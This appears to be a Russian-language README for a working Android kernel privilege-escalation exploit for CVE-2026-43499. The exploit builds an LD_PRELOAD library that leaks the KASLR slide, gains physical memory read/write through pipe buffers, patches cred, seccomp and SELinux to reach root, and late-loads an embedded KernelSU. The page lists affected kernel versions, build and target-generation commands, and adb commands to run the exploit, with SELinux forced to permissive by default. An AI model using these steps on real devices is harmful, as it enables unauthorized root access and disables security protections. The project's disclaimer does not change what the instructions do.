Назад к обновлениям
UpdatedAug 2, 2026

CVE-2026-43499-root-KernelSU — Updated!

На основе локального повышения привилегий через уязвимость ядра CVE-2026-43499, интегрирован встроенный KernelSU. Режим джейлбрейка CVE-2026-43499+KernelSU

Поделиться

CVE-2026-43499-root-KernelSU

Адаптация локального повышения привилегий на основе уязвимости ядра CVE-2026-43499 со встроенным KernelSU. Компилируется и генерирует preload.so; при успешной эксплуатации KernelSU запускается в режиме late-load (режим джейлбрейка). Поддерживает генерацию target.h из (xbl_config.img / vendor_boot.img) + boot.img или другим способом.

Справочные проекты:

[!IMPORTANT] Несанкционированная эксплуатация уязвимостей для повреждения, компрометации или получения доступа к компьютерным системам запрещена законом. Этот проект предоставляется строго для исследовательских, образовательных и учебных целей и может использоваться только в системах и средах, на которые получено предварительное разрешение. Любое использование этого проекта осуществляется на свой страх и риск пользователя. Авторы и участники не несут ответственности за любое неправомерное использование этого проекта или за любой ущерб, потери или юридические последствия, возникшие в результате его использования.

Отказ от ответственности: несанкционированное использование уязвимостей для повреждения, вторжения или несанкционированного доступа к компьютерным системам может нарушать действующее законодательство. Этот проект предназначен исключительно для исследований в области безопасности, обучения и тестирования в системах и средах, на которые получено законное разрешение. Любые прямые или косвенные убытки, юридическая ответственность и другие последствия, возникшие в результате использования, неправомерного использования или модификации этого проекта, полностью ложатся на пользователя; авторы и участники проекта не несут никакой ответственности.

Область воздействия

Если ваша версия ядра {Linux Kernel} попадает в область воздействия данной уязвимости

  • Linux Kernel < commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349

  • 2.6.39 <= {Linux Kernel} < 6.1.175

  • 6.2 <= {Linux Kernel} < 6.6.140

  • 6.7 <= {Linux Kernel} < 6.12.86

  • 6.13 <= {Linux Kernel} < 6.18.27

  • 6.19 <= {Linux Kernel} < 7.0.4

Текущий статус

TargetСтатус
rodin (по умолчанию)Проверено
Другие src/targets/*Справочно

Структура каталогов

.
├── Makefile
├── build/
│   └── embed/
│       └── ksud                 # Встраиваемый в preload.so бинарник userspace KernelSU
├── tools/
│   ├── generate_target.py       # Единая точка входа генерации target.h в этом репозитории
│   └── vendor/                  # Исходные вспомогательные скрипты генерации, синхронизированные из родительского каталога
└── src/
    ├── main.c                   # Основной поток эксплойта
    ├── preload.c                # LD_PRELOAD constructor + запись/запуск ksud
    ├── root.c                   # Патч cred/seccomp/SELinux/root
    ├── slide.c                  # Утечка KASLR slide через pselect
    ├── fops.c                   # Маршрут pselect/FOPS
    ├── pipe.c                   # Примитив физического R/W через pipe-buffer
    ├── ksud_blob.S              # .incbin build/embed/ksud
    ├── kernelsnitch/            # Вспомогательные модули KernelSnitch
    └── targets/
        ├── rodin/
        ├── beryl/
        └── ...

Сборка

Зависимости

  • Linux host
  • Android NDK
    • Путь по умолчанию: ~/android-ndk-r29
    • Или задайте: ANDROID_NDK_HOME / ANDROID_NDK_ROOT / NDK_ROOT
  • make
  • git

Сборка

make PROJECT=<target> -j$(nproc)

Результат:

build/<target>/bin/preload.so

Просмотр доступных target

make list-projects

Генерация target.h

В этом репозитории уже встроен единый скрипт генерации target:

tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py

tools/generate_target.py — это входной скрипт. Он ссылается на все процессы генерации target из родительского каталога и инкапсулирует их, в итоге выводя полный src/targets/<project>/target.h, адаптированный под исходный код этого репозитория.

Скрипт не принудительно проверяет CONFIG_DEBUG_INFO_BTF=y в IKCONFIG. Если смещения полей структур или раскладка percpu entry_task не могут быть проверены, выводится предупреждение, и генерация продолжается.

Если в образе полностью отсутствует пригодный BTF, например, появляется:

有效 vmlinux BTF 候选不唯一: []

Генератор переходит в режим fallback без BTF:

  • Продолжает восстанавливать смещения символов функций/глобальных объектов из kallsyms текущего boot.img;
  • Макросы полей структур/раскладки, которые невозможно восстановить из BTF, наследуются из шаблонного target, шаблон по умолчанию — rodin;
  • В верхней части сгенерированного header записывается предупреждение с указанием without BTF и используемого шаблона;
  • Такой header гарантирует максимально возможную компилируемость, но надёжность работы требует проверки на реальном устройстве.

Можно указать шаблон fallback:

tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# или
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json

1. Генерация с помощью boot.img + profile JSON

make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json

По умолчанию записывается в:

src/targets/<project>/target.h

Также можно вызвать скрипт напрямую:

tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json

profile.json должен содержать информацию о физических адресах, например:

{
  "p0_phys_offset": "0x40000000",
  "p0_kernel_phys_load": "0x40000000"
}

2. Определение profile с уже root-устройства через ADB

Только генерация profile:

make detect-profile PROFILE_OUT=profile.json

Определение profile и немедленная генерация target:

tools/generate_target.py --project <project> --boot /path/to/boot.img \
  --detect-adb-and-generate --profile-out profile.json

3. Генерация из (xbl_config.img / vendor_boot.img) + boot.img

Скрипт также предоставляет другие точки входа, поддерживаемые генератором из родительского каталога:

tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img

tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img

tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
Примеры
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json

Пример успешного вывода:

生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168

Для rodin по умолчанию сохраняется проверенное на реальном устройстве:

#define MM_STRUCT_SZ 0x500

Для переопределения:

tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...

Добавление нового target

Рекомендуется генерировать из соответствующего boot image и profile:

make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)

Полный target header будет содержать:

  • Константы direct map / физического profile
  • Смещения объектов KASLR slide
  • Смещения task / cred / SELinux
  • Смещения pipe / fops / configfs
  • Значения раскладки pselect, например, PSELECT_WAITER_WORD_SHIFT
  • MM_STRUCT_SZ и значения настройки KernelSnitch

Запуск

В текущий исходный код уже записаны значения по умолчанию, для нормальной работы достаточно установить LD_PRELOAD и выполнить любую программу (рекомендуется toybox id).

adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Параметры запуска по умолчанию

Текущая конфигурация по умолчанию:

НастройкаЗначение по умолчаниюОписание
KSUD_LATE_LOAD1Выполняет ksud late-load
KSUD_ALLOW_SHELL1Передаёт --allow-shell
KSUD_PACKAGEme.weishu.kernelsuИмя пакета менеджера, передаваемое ksud (похоже, не действует)
KSUD_DST/data/local/tmp/ksudПуть записи встроенного ksud
KSUD_SKIP_WRITE0По умолчанию записывает встроенный ksud
KSUD_DEFER_TO_PARENT1Запускает ksud из пути уже пропатченного родительского/текущего процесса
ROOT_PATCH_SELF1Патчит текущий процесс до uid 0
DISABLE_SELINUX1При root-патче записывает SELinux enforcing как permissive
ROOT_EXIT_SLEEPunset / 0Без дополнительного sleep перед возвратом

Фактическая команда ksud, выполняемая по умолчанию:

/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu

Эти переменные окружения по-прежнему можно переопределить во время выполнения, например:

adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Повторное использование уже записанного ksud:

adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Очистка

make clean

make clean сохраняет build/embed/ksud, поскольку src/ksud_blob.S встраивает его следующим образом:

.incbin "build/embed/ksud"

Если ручная очистка привела к потере build/embed/ksud, его можно восстановить:

git checkout -- build/embed/ksud

Часто задаваемые вопросы

.incbin "build/embed/ksud" not found

Восстановите встроенный payload и пересоберите:

git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)

Маршрут FOPS возвращает success=0

rodin ожидает legacy/simple раскладку pselect:

pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1

Если состояние устройства загрязнено неудачными попытками, просто перезагрузитесь и попробуйте снова:

adb reboot

F_SETPIPE_SZ возвращает EPERM

Обычно это проблема состояния, вызванная неудачными/остаточными попытками; перезагрузка — самый быстрый способ очистки:

adb reboot

ksud запускается, но в /proc/modules нет KernelSU

Просмотрите журналы:

adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'

При необходимости запустите вручную из root shell:

/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu

Лицензия

GPL-3.0. См. LICENSE.

Категории